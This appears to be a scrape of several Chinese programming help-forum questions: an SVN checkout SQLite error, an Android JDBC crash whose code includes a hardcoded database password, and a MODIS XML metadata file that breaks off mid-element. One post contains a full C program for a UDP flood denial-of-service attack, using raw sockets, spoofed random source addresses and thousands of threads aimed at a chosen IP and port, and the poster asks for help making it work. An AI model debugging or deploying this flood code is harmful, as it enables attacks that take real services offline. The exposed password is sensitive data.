检不出项目,各位大神帮忙看看啊 checkout https:svn地址 -r HEAD --depth=infinity --force r HEAD --depth=infinity --force SQLite error svn: disk I/O error, executing statement 'CREATE TABLE REPOSITORY ( id INTEGER PRIMARY KEY AUTOINCREMENT, root TEXT UNIQUE NOT NULL, uuid TEXT NOT NULL ); CREATE INDEX I_UUID ON REPOSITORY (uuid); CREATE INDEX I_ROOT ON REPOSITORY (root); CREATE TABLE WCROOT ( id INTEGER PRIMARY KEY AUTOINCREMENT, local_abspath TEXT UNIQUE ); CREATE UNIQUE INDEX I_LOCAL_ABSPATH ON WCROOT (local_abspath); CREATE TABLE PRISTINE ( checksum TEXT NOT NULL PRIMARY KEY, compression INTEGER, size INTEGER NOT NULL, refcount INTEGER NOT NULL, md5_checksum TEXT NOT NULL ); CREATE TABLE ACTUAL_NODE ( wc_id INTEGER NOT NULL REFERENCES WCROOT (id), local_relpath TEXT NOT NULL, parent_relpath TEXT, properties BLOB, conflict_old TEXT, conflict_new TEXT, conflict_working TEXT, prop_reject TEXT, changelist TEXT, text_mod TEXT, tree_conflict_data TEXT, conflict_data BLOB, older_checksum TEXT REFERENCES PRISTINE (checksum), left_checksum TEXT REFERENCES PRISTINE (checksum), right_checksum TEXT REFERENCES PRISTINE (checksum), PRIMARY KEY (wc_id, local_relpath) ); CREATE INDEX I_ACTUAL_PARENT ON ACTUAL_NODE (wc_id, parent_relpath); CREATE INDEX I_ACTUAL_CHANGELIST ON ACTUAL_NODE (changelist); CREATE TABLE LOCK ( repos_id INTEGER NOT NULL REFERENCES REPOSITORY (id), repos_relpath TEXT NOT NULL, lock_token TEXT NOT NULL, lock_owner TEXT, lock_comment TEXT, lock_date INTEGER, PRIMARY KEY (repos_id, repos_relpath) ); CREATE TABLE WORK_QUEUE ( id INTEGER PRIMARY KEY AUTOINCREMENT, work BLOB NOT NULL ); CREATE TABLE WC_LOCK ( wc_id INTEGER NOT NULL REFERENCES WCROOT (id), local_dir_relpath TEXT NOT NULL, locked_levels INTEGER NOT NULL DEFAULT -1, PRIMARY KEY (wc_id, local_dir_relpath) ); PRAGMA user_version = 29; '
安卓开发JDBC连接数据库No static method metafactory错误怎么解决?
直接上代码 JdbcUtil类 ``` package com.example.myapplication; import java.io.File; import java.io.FileInputStream; import java.sql.Connection; import java.sql.DriverManager; import java.util.Properties; public class JdbcUtil { private static JdbcUtil instance; public static JdbcUtil getInstance(){ if (instance ==null){ instance = new JdbcUtil(); } return instance; } public Connection getConnection(String dbName,String name,String password) { try { new com.mysql.cj.jdbc.Driver(); String url = "jdbc:mysql://localhost:3306/"+dbName; return DriverManager.getConnection(url,name,password); } catch (Exception e) { return null; } } public Connection getConnection(String file){ File f = new File(file); if(!f.exists()){ return null; }else { Properties pro = new Properties(); try { Class.forName("com.mysql.jdbc.Driver"); pro.load(new FileInputStream(f)); String url = pro.getProperty("url"); String name = pro.getProperty("name"); String password = pro.getProperty("password"); return DriverManager.getConnection(url,name,password); }catch (Exception e){ return null; } } } } ``` UserDao类 ``` package com.example.myapplication; import android.util.Log; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import static android.content.ContentValues.TAG; public class UserDao { JdbcUtil jdbcUtil = JdbcUtil.getInstance(); //第一个参数为数据库名称,第二个参数为数据库账号 第三个参数为数据库密码 Connection conn = jdbcUtil.getConnection("test","root","LHMbdbqandr2015"); //注册 public boolean register(String name,String password){ if (conn==null){ Log.i(TAG,"register:conn is null"); return false; }else { //进行数据库操作 String sql = "insert into user(name,password) values(?,?)"; try { PreparedStatement pre = conn.prepareStatement(sql); pre.setString(1,name); pre.setString(2,password); return pre.execute(); } catch (SQLException e) { return false; }finally { try { conn.close(); } catch (SQLException e) { e.printStackTrace(); } } } } //登录 public boolean login(String name,String password){ if (conn==null){ Log.i(TAG,"register:conn is null"); return false; }else { String sql = "select * from user where name=? and password=?"; try { PreparedStatement pres = conn.prepareStatement(sql); pres.setString(1,name); pres.setString(2,password); ResultSet res = pres.executeQuery(); boolean t = res.next(); return t; } catch (SQLException e) { return false; } } } } ``` MainActivity文件 ``` package com.example.myapplication; import android.Manifest; import android.content.Intent; import android.content.pm.PackageManager; import android.os.Build; import android.os.Bundle; import android.os.Looper; import android.os.Trace; import android.util.Log; import android.view.View; import android.widget.EditText; import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { private static final String TAG="MainActivity"; private EditText name; private EditText password; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); name = findViewById(R.id.name); password = findViewById(R.id.password); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) { // TODO: Consider calling // Activity#requestPermissions requestPermissions(new String[]{Manifest.permission.INTERNET},1); // here to request the missing permissions, and then overriding // public void onRequestPermissionsResult(int requestCode, String[] permissions, // int[] grantResults) // to handle the case where the user grants the permission. See the documentation // for Activity#requestPermissions for more details. return; } } } //用户根据点击事件来找到相应的功能 public void fun(View v){ switch (v.getId()){ case R.id.register: new Thread(new Runnable() { @Override public void run() { String n = name.getText().toString().trim(); String psw = password.getText().toString().trim(); UserDao ud = new UserDao(); boolean result =ud.register(n,psw); if (!result){ Looper.prepare(); Toast toast = Toast.makeText(MainActivity.this,"注册成功!",Toast.LENGTH_SHORT); toast.show(); Looper.loop(); } Log.i(TAG,"fun"+result); //以上为jdbc注册 } }).start(); break; case R.id.login: new Thread(new Runnable() { @Override public void run() { String n = name.getText().toString().trim(); String psw = password.getText().toString().trim(); if (n.equals("")||psw.equals("")){ Looper.prepare(); Toast toast = Toast.makeText(MainActivity.this,"输入不能为空!",Toast.LENGTH_SHORT); toast.show(); Looper.loop(); } UserDao ud = new UserDao(); Boolean result = ud.login(n,psw); if (!result){ Looper.prepare(); Toast toast=Toast.makeText(MainActivity.this,"用户名不存在或密码错误!",Toast.LENGTH_SHORT); toast.show(); Looper.loop(); }else{ Looper.prepare(); Toast toast=Toast.makeText(MainActivity.this,"登录成功",Toast.LENGTH_SHORT); toast.show(); //一下代码为跳转界面 // Intent intent=new Intent(MainActivity.this,info.class); //intent.putExtra("name",n); // startActivity(intent); Looper.loop(); } //以上为jdbc登录 } }).start(); } } } ``` 现在遇到的问题如下 ``` 11/14 01:40:49: Launching 'app' on Nexus 5X API 29 x86. $ adb shell am start -n "com.example.myapplication/com.example.myapplication.MainActivity" -a android.intent.action.MAIN -c android.intent.category.LAUNCHER Waiting for process to come online... Connected to process 23852 on device 'emulator-5554'. Capturing and displaying logcat messages from application. This behavior can be disabled in the "Logcat output" section of the "Debugger" settings page. I/e.myapplicatio: Not late-enabling -Xcheck:jni (already on) E/e.myapplicatio: Unknown bits set in runtime_flags: 0x8000 W/e.myapplicatio: Unexpected CPU variant for X86 using defaults: x86 D/libEGL: Emulator has host GPU support, qemu.gles is set to 1. W/libc: Unable to set property "qemu.gles" to "1": connection failed; errno=13 (Permission denied) W/RenderThread: type=1400 audit(0.0:129): avc: denied { write } for name="property_service" dev="tmpfs" ino=8368 scontext=u:r:untrusted_app:s0:c130,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=0 app=com.example.myapplication D/libEGL: loaded /vendor/lib/egl/libEGL_emulation.so D/libEGL: loaded /vendor/lib/egl/libGLESv1_CM_emulation.so D/libEGL: loaded /vendor/lib/egl/libGLESv2_emulation.so W/e.myapplicatio: Accessing hidden method Landroid/view/View;->computeFitSystemWindows(Landroid/graphics/Rect;Landroid/graphics/Rect;)Z (greylist, reflection, allowed) Accessing hidden method Landroid/view/ViewGroup;->makeOptionalFitsSystemWindows()V (greylist, reflection, allowed) D/: HostConnection::get() New Host Connection established 0xd7d24f50, tid 23910 D/: HostComposition ext ANDROID_EMU_CHECKSUM_HELPER_v1 ANDROID_EMU_native_sync_v2 ANDROID_EMU_native_sync_v3 ANDROID_EMU_dma_v1 ANDROID_EMU_direct_mem ANDROID_EMU_host_composition_v1 ANDROID_EMU_host_composition_v2 ANDROID_EMU_vulkan ANDROID_EMU_deferred_vulkan_commands ANDROID_EMU_vulkan_null_optional_strings ANDROID_EMU_vulkan_create_resources_with_requirements ANDROID_EMU_YUV420_888_to_NV21 ANDROID_EMU_YUV_Cache GL_OES_EGL_image_external_essl3 GL_OES_vertex_array_object GL_KHR_texture_compression_astc_ldr ANDROID_EMU_gles_max_version_3_1 W/OpenGLRenderer: Failed to choose config with EGL_SWAP_BEHAVIOR_PRESERVED, retrying without... D/eglCodecCommon: setVertexArrayObject: set vao to 0 (0) 0 0 D/EGL_emulation: eglCreateContext: 0xe3340b60: maj 3 min 1 rcv 4 D/EGL_emulation: eglMakeCurrent: 0xe3340b60: ver 3 1 (tinfo 0xe338bc10) E/eglCodecCommon: glUtilsParamSize: unknow param 0x000082da glUtilsParamSize: unknow param 0x000082da W/Gralloc3: mapper 3.x is not supported D/: createUnique: call D/: HostConnection::get() New Host Connection established 0xd7d26ad0, tid 23910 HostComposition ext ANDROID_EMU_CHECKSUM_HELPER_v1 ANDROID_EMU_native_sync_v2 ANDROID_EMU_native_sync_v3 ANDROID_EMU_dma_v1 ANDROID_EMU_direct_mem ANDROID_EMU_host_composition_v1 ANDROID_EMU_host_composition_v2 ANDROID_EMU_vulkan ANDROID_EMU_deferred_vulkan_commands ANDROID_EMU_vulkan_null_optional_strings ANDROID_EMU_vulkan_create_resources_with_requirements ANDROID_EMU_YUV420_888_to_NV21 ANDROID_EMU_YUV_Cache GL_OES_EGL_image_external_essl3 GL_OES_vertex_array_object GL_KHR_texture_compression_astc_ldr ANDROID_EMU_gles_max_version_3_1 D/eglCodecCommon: allocate: Ask for block of size 0x1000 D/eglCodecCommon: allocate: ioctl allocate returned offset 0x3ffff6000 size 0x2000 D/EGL_emulation: eglMakeCurrent: 0xe3340b60: ver 3 1 (tinfo 0xe338bc10) D/eglCodecCommon: setVertexArrayObject: set vao to 0 (0) 0 0 I/AssistStructure: Flattened final assist data: 1788 bytes, containing 1 windows, 10 views W/e.myapplicatio: Accessing hidden method Ljava/lang/invoke/LambdaMetafactory;->metafactory(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; (blacklist, linking, denied) E/AndroidRuntime: FATAL EXCEPTION: Thread-2 Process: com.example.myapplication, PID: 23852 java.lang.NoSuchMethodError: No static method metafactory(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; in class Ljava/lang/invoke/LambdaMetafactory; or its super classes (declaration of 'java.lang.invoke.LambdaMetafactory' appears in /apex/com.android.runtime/javalib/core-oj.jar) at com.mysql.cj.conf.ConnectionUrl.buildConnectionStringCacheKey(ConnectionUrl.java:246) at com.mysql.cj.conf.ConnectionUrl.getConnectionUrlInstance(ConnectionUrl.java:185) at com.mysql.cj.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:204) at java.sql.DriverManager.getConnection(DriverManager.java:580) at java.sql.DriverManager.getConnection(DriverManager.java:218) at com.example.myapplication.JdbcUtil.getConnection(JdbcUtil.java:22) at com.example.myapplication.UserDao.<init>(UserDao.java:15) at com.example.myapplication.MainActivity$1.run(MainActivity.java:53) at java.lang.Thread.run(Thread.java:919) D/EGL_emulation: eglMakeCurrent: 0xe3340b60: ver 3 1 (tinfo 0xe338bc10) D/AutofillManager: onActivityFinishing(): calling cancelLocked() Process 23852 terminated. ``` 在网上百度了很多方法都没有解决,起初以为是驱动的问题,但是换了一个仍然不好用,求求大神赐教
udp洪水攻击照着别人的视频敲了以后出现transport endpoint is not connected和 Invalid argument怎么解决这个问题?
```#include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<arpa/inet.h> #include<signal.h> #include<pthread.h> #include<unistd.h> #define MAX 10240 int sockfd=-1; int flag=1; int send_udp_dos(int connfd,struct sockaddr_in *paddr); void handler(int signo) { printf("捕捉到信号:%d\n",signo); flag=0; } void *fun(void *arg) { struct sockaddr_in *addr=arg; while(flag) { send_udp_dos(sockfd,addr); } pthread_exit(NULL); } //计算16位UDP校验和 unsigned short checksum(unsigned char *buf, int len) { unsigned int sum = 0; unsigned short *cbuf; cbuf = (unsigned short *)buf; while(len > 1) { sum += *cbuf++; len -= 2; //剩余尚未累加的16比特的个数 } if(len) //若len的长度不是偶数 sum += *(unsigned char *)cbuf; //用最后一个字节补齐 //防溢出处理 sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } //组织UDP数据包 int send_udp_dos(int connfd, struct sockaddr_in *paddr) { int len = 0; int ret = -1; char *packet = NULL; char *data = NULL; struct ip *ipheader = NULL; struct udphdr *udpheader = NULL; //分配空间 IP首 部 + UDP首部 + 数据(64) len = sizeof(struct ip) + sizeof(struct udphdr) + 64; packet = malloc(len); if (NULL == packet) { printf("malloc failed...\n"); return 1; } //内存清零 memset(packet, 0, len); //第一部分: IP首部 ipheader = (struct ip*)packet; //第二部分: UDP首部 udpheader = (struct udphdr*)(packet + sizeof(struct ip)); //第三部分:数据 data = packet + sizeof(struct ip) + sizeof(struct udphdr); //封装IP协议 //协议的版本 IPv4 ipheader->ip_v = 4; //首部长度 20字节 20 / 4 = 5 ipheader->ip_hl = 5; //区分服务 暂时没有使用 ipheader->ip_tos = 0; //总长度 转化为网路序 ipheader->ip_len = htons(len); //标识 随机 ipheader->ip_id = random() % 1024; //标志 + 片偏移 ipheader->ip_off = 0; //生存时间 随机指定64 ipheader->ip_ttl = 64; //协议 ipheader->ip_p = IPPROTO_UDP; //首部校验和 暂时填写0 ipheader->ip_sum = 0; ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip)); //随机源地址 ipheader->ip_src.s_addr = random() % 1000; //目的地址 参数paddr传递进来的 ipheader->ip_dst = paddr->sin_addr; //封装UDP协议 //随机端口 保证每一次发送数据端口不一样 udpheader->uh_sport = 1024 + random() % 100; //目的端口 udpheader->uh_dport = paddr->sin_port; //长度 UDP首部 + 数据 udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64); //校验和 udpheader->uh_sum = 0; udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64); //填充数据 strcpy(data, "B17070316"); //发送数据 (vim) //第一个参数: 套接字 //第二个参数: 发送数据 //第三个参数: 发送数据长度 //第四个参数: 标志 //第五个参数: 服务端addr结构 //第六个参数: sizeof(struct sockaddr_in) ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in)); if (ret <= 0) { perror("sendto"); return -1; } printf("ret: %d\n", ret); //释放内存 free(packet); } //UDP洪水攻击 int main(int argc, char **argv) { int i = 0; int ret = -1; int on = -1; //保存线程tid 线程号 pthread_t tid[MAX]; //填写服务端信息 struct sockaddr_in addr; //0. 参数检查 //argv[0] 可执行文件 //argv[1]: IP //argv[2]: 端口 if (3 != argc) { printf("usaage: ./a.out IP port\n"); return 1; } //注册信号 软件中断 //第一个参数: 信号编号 SIGINT Ctrl + C 产生 //第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler signal(SIGINT, handler); //1. 创建套接字 UDP sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (-1 == sockfd) { //输出出错原因 perror("socket"); return 1; } printf("sockfd = %d\n", sockfd); //设置自己封装IP on = 1; //表示使能 ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); if (-1 == ret) { perror("setsockopt"); return -1; } //2. 初始化结构体 //服务端IP + 服务端端口 //man 7 ip memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; //ipv4 //将字符串转化为int类型 "123"--> 123 addr.sin_port = htons(atoi(argv[2])); //填充IP 192.168.12.88 //字符串IP转化为大端模式的IP inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr); printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]); #if 1 //循环创建线程 for (i = 0; i < MAX; i++) { //第一个参数:传出线程号 //第二个参数:线程属性 默认即可 NULL: //第三个参数:线程处理函数 线程启动之后执行函数 //第四个参数:传递给线程处理函数的参数 pthread_create(&tid[i], NULL, fun, (void*)&addr); } //等待所有的线程退出 for (i = 0; i < MAX; i++) { //第一个参数: 线程ID //第二个参数: 传出线程退出状态 pthread_join(tid[i], NULL); } #else //3. 循环发送数据 while(1) { send_udp_dos(sockfd, &addr); } #endif //4. 关闭文件描述符 close(sockfd); return 0; } ``` ``` ```
如何用Java解析复杂的xml文件
xml文件是遥感数据的的头文件,希望从中提取时间区域等信息,Java小白,求大佬们教教怎么整 ,头文件如下: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE GranuleMetaDataFile SYSTEM "http://ecsinfo.gsfc.nasa.gov/ECSInfo/ecsmetadata/dtds/DPL/ECS/ScienceGranuleMetadata.dtd"> <GranuleMetaDataFile> <DTDVersion>1.0</DTDVersion> <DataCenterId>EDC</DataCenterId> <GranuleURMetaData> <GranuleUR>SC:MOD13A2.005:2132545364</GranuleUR> <DbID>2132545364</DbID> <InsertTime>2014-06-11 02:11:28.496</InsertTime> <LastUpdate>2014-06-12 02:11:37.037</LastUpdate> <CollectionMetaData> <ShortName>MOD13A2</ShortName> <VersionID>5</VersionID> </CollectionMetaData> <DataFiles> <DataFileContainer> <DistributedFileName>MOD13A2.A2014145.h27v05.005.2014162030850.hdf</DistributedFileName> <FileSize>16891955</FileSize> <ChecksumType>CKSUM</ChecksumType> <Checksum>1091827715</Checksum> <ChecksumOrigin>DPLIngst</ChecksumOrigin> </DataFileContainer> </DataFiles> <ECSDataGranule> <SizeMBECSDataGranule>16.1094</SizeMBECSDataGranule> <ReprocessingPlanned>further update is anticipated</ReprocessingPlanned> <ReprocessingActual>reprocessed</ReprocessingActual> <LocalGranuleID>MOD13A2.A2014145.h27v05.005.2014162030850.hdf</LocalGranuleID> <DayNightFlag>Day</DayNightFlag> <ProductionDateTime>2014-06-11 07:08:50.000</ProductionDateTime> <LocalVersionID>5.2.2</LocalVersionID> </ECSDataGranule> <PGEVersionClass> <PGEVersion>5.2.7</PGEVersion> </PGEVersionClass> <RangeDateTime> <RangeEndingTime>23:59:59.000000</RangeEndingTime> <RangeEndingDate>2014-06-09</RangeEndingDate> <RangeBeginningTime>00:00:00.000000</RangeBeginningTime> <RangeBeginningDate>2014-05-25</RangeBeginningDate> </RangeDateTime> <SpatialDomainContainer> <HorizontalSpatialDomainContainer> <GPolygon> <Boundary> <Point> <PointLongitude>103.700805509875</PointLongitude> <PointLatitude>29.9063240058583</PointLatitude> </Point> <Point> <PointLongitude>117.356422833073</PointLongitude> <PointLatitude>40.0849484191919</PointLatitude> </Point> <Point> <PointLongitude>130.564483119946</PointLongitude> <PointLatitude>39.998491208368</PointLatitude> </Point> <Point> <PointLongitude>115.388076442344</PointLongitude> <PointLatitude>29.8298156547937</PointLatitude> </Point> </Boundary> </GPolygon> </HorizontalSpatialDomainContainer> </SpatialDomainContainer> <MeasuredParameter> <MeasuredParameterContainer> <ParameterName>1 km 16 days NDVI</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <OperationalQualityFlag>Passed</OperationalQualityFlag> <OperationalQualityFlagExplanation>Passed</OperationalQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days EVI</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days VI Quality</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days red reflectance</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days NIR reflectance</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days blue reflectance</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days MIR reflectance</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days view zenith angle</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days sun zenith angle</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days relative azimuth angle</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days composite day of the year</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> <MeasuredParameterContainer> <ParameterName>1 km 16 days pixel reliability</ParameterName> <QAStats> <QAPercentMissingData>0</QAPercentMissingData> <QAPercentOutofBoundsData>0</QAPercentOutofBoundsData> <QAPercentInterpolatedData>100</QAPercentInterpolatedData> <QAPercentCloudCover>2</QAPercentCloudCover> </QAStats> <QAFlags> <AutomaticQualityFlag>Passed</AutomaticQualityFlag> <AutomaticQualityFlagExplanation>No automatic quality assessment is performed in the PGE</AutomaticQualityFlagExplanation> <ScienceQualityFlag>Inferred Passed</ScienceQualityFlag> <ScienceQualityFlagExplanation>http://landweb.nascom.nasa.gov/cgi-bin/QA_WWW/detailInfo.cgi?prod_id=MOD13A2&amp;ver=C5.2014-06-12 02:11</ScienceQualityFlagExplanation> </QAFlags> </MeasuredParameterContainer> </MeasuredParameter> <Platform> <PlatformShortName>Terra</PlatformShortName> <Instrument> <InstrumentShortName>MODIS</InstrumentShortName> <Sensor> <SensorShortName>MODIS</SensorShortName> </Sensor> </Instrument> </Platform> <PSAs> <PSA> <PSAName>QAPERCENTGOODQUALITY</PSAName> <PSAValue>57</PSAValue> </PSA> <PSA> <PSAName>QAPERCENTOTHERQUALITY</PSAName> <PSAValue>43</PSAValue> </PSA> <PSA> <PSAName>QAPERCENTNOTPRODUCEDCLOUD</PSAName> <PSAValue>0</PSAValue> </PSA> <PSA> <PSAName>QAPERCENTNOTPRODUCEDOTHER</PSAName> 